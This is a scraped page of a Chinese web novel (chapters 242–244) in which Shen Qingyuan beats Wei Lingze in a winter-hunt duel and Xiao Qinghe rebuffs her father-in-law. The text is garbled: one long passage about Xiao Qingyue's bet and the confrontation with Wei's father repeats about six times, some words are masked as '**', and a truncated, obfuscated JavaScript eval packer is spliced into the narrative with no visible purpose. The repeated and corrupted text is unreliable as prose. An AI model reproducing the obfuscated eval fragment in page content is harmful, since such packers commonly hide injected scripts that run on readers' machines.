春喜刚说完,练武场边又有人高呼:“萧家二小姐出一千两下注,押沈大人赢!” 话音落下的瞬间,卫凌泽手里的**被沈清渊挑落,折射着寒光的剑直指卫凌泽的喉咙。 第242章 卫凌泽认输 沈清渊剑指卫凌泽,所有人都看得出他赢了,但他没有继续进攻,而是沉沉开口问卫凌泽:“还要继续吗?” 打了好些个来回,卫凌泽已经明显感觉到体力的消耗,沈清渊的声音却还是和往常一样平稳冷静。 好像刚刚那番打斗对他来说根本不算什么,他不满足于打败卫凌泽,而是要卫凌泽亲口认输。 这实在有够羞辱人的。 卫凌泽咬咬牙,最终弯腰捡起了**。 他心中怒火熊熊,出招极狠,带着腾腾的杀气,但他太心急了,以至于漏洞百出,每次拼尽全力的一击,都会被沈清渊轻松化解。 没多久,手中**便再一次落了地。 沈清渊还是没有急着结束比试,而是又问了卫凌泽一次:“还继续吗?” 卫凌泽死死地咬牙,目光落在不远处的**上。 这是他最擅长的兵器,当年他就是用一柄**把轩辕朗挑下马的,可今日,这柄**被沈清渊打得一再地脱手。 他当然可以捡起**继续跟沈清渊比,但那又如何呢? 他还是会输。 且一次比一次输得更加惨烈。 咬着牙不认输不过是自取其辱罢了。 这一次卫凌泽没有再拿起**,而是自己走出了练武场。 他认输了。 许是他输得太过惨烈,众人没敢为沈清渊叫好,最终是设下赌局的庄家宣布了沈清渊的获胜。 胜负已定,有使臣团的人在,众人也不好过多评价卫凌泽免得被使臣团的人看笑话,但也有人看热闹不嫌事大,故意大声调侃:“萧二小姐怎么押的沈大人赢啊,看来卫大人你这个姐夫不是很得小姨子喜欢呢。” 虽说沈清渊跟萧家也是沾亲的,但比起卫凌泽这个亲姐夫那还是差了一截,萧家人要么当作不知道赌局的事,根本不参加,要么也该押卫凌泽赢,就算卫凌泽输了,那也代表萧家对他的支持。 可现在萧清月押了沈清渊赢,这不是当众拆卫凌泽这个亲姐夫的台吗? 众人跟着笑起,还想说些什么,卫凌泽目光森冷地从众人脸上扫过:“这件事有这么好笑吗?” “……” 卫凌泽现在明显开不起玩笑,众人脸上笑意一收,全都噤了声,气氛变得尴尬起来。 卫凌泽谁也没有理,径直离开练武场,回了自己的营帐 轩辕朗对沈清渊的兴趣达到巅峰,他走进比武场,拿起卫凌泽被打掉的**准备继续和沈清渊比试,太子派人来阻 止:“沈大人才刚比了一场,体力消耗很大,继续比试并不公平,还请轩辕将军等到明日再与沈大人一决高下。 轩辕朗有些不满,但这毕竟不是越西,不是他可以任意妄为的地方,而且他也不想自己赢了以后被昭陵人说闲话。 轩辕朗把**插入脚边的碎石之中,幽幽道:“好,那就等明日。 轩辕朗说完转身离开,等他走远,众人才看到那柄**有近半都**进了碎石中,有人试着去拔,竟是纹丝不动,众人这才意识到轩辕朗的力量有多恐怖。 看来明日的比试会是一场恶战。 庄家又设下新的赌局,众人没再关注卫凌泽,热情高涨地下注。 春喜收到了庄家送来的银票,她先还了恒阳公主的钱,又拿了一千两作为谢礼,把剩下的银票全部押了沈清渊赢,而后飞快地朝着沈清渊奔去。 沈清渊身边围了不少人,有向他道贺的,也有想约他私下切磋讨教的,沈清渊神色淡淡,不惊不喜,好像赢了卫凌泽并不是一件多么值得骄傲的事。 余光瞥见春喜朝这边来了,沈清渊开口打断众人:“麻烦诸位让一让,内子过来了。 众人立刻让开一条路,沈清渊大步上前,把春喜捞入怀中:“夫人跑这么急做什么? 春喜抬起头,眸子亮晶晶的,唇角上扬,笑意满满:“夫君刚刚实在是太威风了,特别好看,我怕别人被夫君迷住,当然要赶紧来宣示**啊,我还要恭喜夫君不仅赢得比试,还赢到了好大一笔钱。 春喜语气轻快,满满的都是欢喜骄傲。 沈清渊波澜不惊的脸上这才染了笑,却还故作严肃:“这可是在御前,夫人竟敢聚众** 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回到营帐的卫凌泽也在回忆这大半年发生的所有事,然而还没等他理出头绪,卫父就冲进营帐劈头盖脸地骂下来:“逆子,谁让你擅作主张去挑战沈清渊的?你明知道这次冬猎是为了震慑使臣团、扬我国威的,当着外人的面,你跟自己人打什么?” 而且太子都派人来阻止了,这个逆子也根本不听劝。 卫父没能来练武场看到具体的情况,今天一天他都在御前待着,他没想到卫凌泽会不顾劝阻突然挑战沈清渊,更没想到卫凌泽是自己认输输掉的比赛。 之前因为云山寺捉奸一事,瑛王死咬着不放,卫凌泽被停了职,若不是因为使臣团里有个轩辕朗,他根本不可能这么快复职。 这种时候,他就该拼尽全力打败轩辕朗来证明自己,为什么要横生枝节去挑战沈清渊? 这不是摆明了让陛下和太子觉得他不顾全大局喜欢窝里斗吗? 卫父怒气森森地看着卫凌泽,等着他给出解释,然而等了半晌只等到一句:“爹,我完了。” 第243章 卫家教好儿子了吗? 卫凌泽的声音嘶哑,满是颓丧,整个人像是一下子苍老了十来岁。 卫父吓了一跳,满腔的怒火和责备全都堵在喉咙。 过了一会儿,他沉声怒道:“你在胡说八道什么,瘫在床上三年你都熬过来了,眼下不过是输了一场比试而已,怎么就完了,轩辕朗没了一只胳膊不也还活得好好的吗?” 卫父的语速很快,说得很急, 今天卫凌泽输掉这场比试的确会让陛下和太子对他的印象变差,甚至很长一段时间他都不会再有升迁的机会,但他还很年轻,以后总能再找到机会展示自己的才能的。 卫父是想用轩辕朗激励卫凌泽,但落在卫凌泽耳中,却变了意味。 他勾了勾唇,露出一抹讥讽的笑:“爹,幸好今天我是跟沈清渊一起比试的,不然所有人都会知道,我连轩辕朗那个残废都比不过。” 这种丧气话听得卫父的怒火不断地往上涌,他忍不住揪住卫凌泽的衣领把他拎起来:“卫凌泽,你给我振作一点儿,人生在世,不如意之事十之**,你可以输掉比试,但你不能连心气儿都输掉!” 卫凌泽浑身都卸了力,他毫无反抗之意,眼神涣散。 他不仅输给了沈清渊,连曹春喜那个**都斗不过,禾儿如今也要离他而去了,他什么都没有了,哪里还有什么心气? 卫父还不知道云氏给萧清禾下药的事,只当小两口又因为什么事拌了嘴,想等冬猎后再亲自去萧家为两人说和,这会儿见卫凌泽要死不活的样子,只能亲自派人去找萧清禾,希望萧清禾能先安慰卫凌泽一下,让他振作起来。 至少不要在陛下和使臣团面前露出这样一副要死不活的样子。 昨日春喜已经当众说了卫凌泽有私生子的事,不想惹人非议,萧清禾和萧清月今日没有出营帐,不过萧清月呆不住,派了丫鬟出去打探消息。 得知卫凌泽挑战沈清渊,萧清月当即让人拿了一千两去押沈清渊赢。 萧清禾不是很赞同她的做法:“我已决心要离开卫家,月儿你何必如此。” 萧清月撇撇嘴,哼了一声:“他对阿姐不好,还欺骗阿姐,我就是希望沈叔叔赢,最好能好好教训他一番。” 下注没多久,庄家便派人送来银票,并告知卫凌泽输了比试。 萧清月当即笑出声来:“阿姐,你听到没有,沈叔叔赢了,这下他肯定丢脸丢大了。” 萧清禾并不像萧清月这样觉得畅快,她对卫凌泽没了爱也没有恨,听到卫凌泽输掉比试,心里毫无波澜,就 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 像是听到陌生人的事一样。 听说沈清渊明日还要跟轩辕朗比试,萧清月在赢钱的基础上又加了一千两押沈清渊赢,还拉着萧清禾撒娇:“阿姐,咱们明天去给沈叔叔加油吧,做了亏心事的是卫家,该躲着不敢见人的应该是他们,要是沈叔叔赢了轩辕朗,咱们回去说给祖母听,祖母一定会很高兴的。” 萧清禾被最后一句话打动,犹豫片刻答应下来。 萧清月高兴极了,正想拉着萧清禾去找春喜,卫父派的人就到了。 卫父是以自己的名义派人来找的萧清禾,他毕竟是长辈,萧清禾不好拒绝,略微整理了下仪容,便去见了卫父。 一见到她,卫父便抢先开口:“禾儿,泽儿今日输了比试,心情很不好,我知道你是个顾全大局的好孩子,我希望你能暂时放下跟泽儿之间的不愉快去安慰他一下,让他先振作起来,你们夫妻一体,他好你也好,对吧?” 卫父是卫家的一家之主,在卫家向来是说一不二,这会儿面对萧清禾这个儿媳妇,语气也不自觉有些强硬。 不是商量,而是命令。 然而萧清禾并不害怕,她后退半步,福身行了一礼,而后道:“父亲,卫凌泽已经不是小孩子了,在他主动挑战沈叔叔的时候,他就应该知道会有什么样的后果,轩辕朗断了一臂尚且斗志昂扬,沈叔叔在京兆府蛰伏十年也未曾被磨灭锋芒,和他们比起来,一次比试失败带来的打击实在微不足道。” 萧清禾的语气疏离,并不是称卫凌泽为夫君,而是直呼大名。 卫父眉心微皱,他当然知道卫凌泽不该承受不住这样的打击,但他更不满萧清禾这个儿媳妇违背自己。 卫父忍不住加重语气:“禾儿,不管泽儿能不能承受得住这次打击,你身为他的妻子,这个时候都该关心他鼓励他,但你刚刚说的那些话简直比陌生人还要冷漠,萧家难道就是这样教你为**的吗?” 这话带了指责,同时充满威压。 萧清禾背脊挺得笔直,没有丝毫的胆怯退让,她直直地看着卫父的眼睛说:“这世道虽然对女子苛刻,有诸多规训,但对男子也并非没有要求,为人夫者,不曾爱重发妻,又如何能怪妻不贤?” 萧清禾的反问让卫父沉了脸,他几乎压不住怒火:“禾儿,你这话是在怪我卫家没有教好泽儿?” 做儿媳的对公爹说这样的话,简直大逆不道。 萧清禾的神情仍旧平静:“儿媳不敢,只是希望父亲在指责儿媳之前,先回去了解一下自己的儿子都做过什么,看事情发展到今天是否都是儿媳一人之错。” 萧清禾的话让卫父生了警觉,他立刻追问:“泽儿做了什么?” “那些事从儿媳口中说出来父亲不一定会信,父亲还是自己去查清楚比较好,”萧清禾说完又行了一礼,“时间不早了,父亲若是没有其他的事,儿媳就先告退了。” 萧清禾说完要走,卫父还想阻拦,萧清月带着萧清阳找了过来。 萧清月提着裙摆飞奔到萧清禾身边,关切地问:“阿姐,你没事吧?” 萧清月连伯父都没叫,只满脸担忧地看着萧清禾,好像卫父一言不合就会伤人,卫父气得喉头一哽,下一刻又听到萧清阳严肃的声音:“伯父有什么不满可以来找我们父子面谈,没必要为难我妹妹。” 卫父:“……” 这个逆子到底做了什么,竟让萧家小辈如此对他这个亲家老爷? 第244章 沈清渊赢了 卫凌泽出局了,沈清渊和轩辕朗之间的比试成了冬猎最大的悬念。 第二日用过早饭,所有人都自发地来到比武场,禁卫军连夜在旁边搭起看台,陛下和诸位皇子都要在旁边观战。 皇后也命人在不远处的小坡上搭上台子供女眷观看比试。 沾了恒阳公主的光,春喜得到一个视野很好的观看席位,她刚坐下,宣布比试开始的铜锣声就响了起来。 